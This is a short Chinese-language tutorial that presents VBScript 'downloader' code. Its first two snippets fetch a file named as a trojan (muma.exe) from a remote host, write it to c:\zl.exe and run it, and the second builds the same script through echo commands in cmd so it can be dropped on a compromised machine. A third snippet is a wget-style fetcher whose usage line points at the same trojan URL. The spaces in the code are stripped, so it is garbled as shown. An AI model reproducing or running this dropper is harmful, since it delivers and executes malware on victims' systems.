VBS下载者(通过vbscript实现文件下载)
一、VBS下载者：
SetPost=CreateObject("Msxml2.XMLHTTP")
SetShell=CreateObject("Wscript.Shell")
Post.Open"GET","http://www.jbzj.com/muma.exe",0
Post.Send()
SetaGet=CreateObject("ADODB.Stream")
aGet.Mode=3
aGet.Type=1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile"c:\zl.exe",2
wscript.sleep1000
Shell.Run("c:\zl.exe")'延迟过后执行下载文件
二、cmd下执行的版本：
echoSetPost=CreateObject("Msxml2.XMLHTTP")>>zl.vbs
echoSetShell=CreateObject("Wscript.Shell")>>zl.vbs
echoPost.Open"GET","http://www.jbzj.com/muma.exe",0>>zl.vbs
echoPost.Send()>>zl.vbs
echoSetaGet=CreateObject("ADODB.Stream")>>zl.vbs
echoaGet.Mode=3>>zl.vbs
echoaGet.Type=1>>zl.vbs
echoaGet.Open()>>zl.vbs
echoaGet.Write(Post.responseBody)>>zl.vbs
echoaGet.SaveToFile"c:\zl.exe",2>>zl.vbs
echowscript.sleep1000>>zl.vbs
echoShell.Run("c:\zl.exe")>>zl.vbs
三、wget.vbs
onerrorresumenext
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
setxPost=CreateObject("Microsoft.XMLHTTP")
ifiUser=""andiPass=""then
xPost.Open"GET",iRemote,0
else
xPost.Open"GET",iRemote,0,iUser,iPass
endif
xPost.Send()
setsGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.WritexPost.ResponseBody
sGet.SaveToFileiLocal,2
使用方法：cscriptwget.vbshttp://www.jbzj.com/muma.exe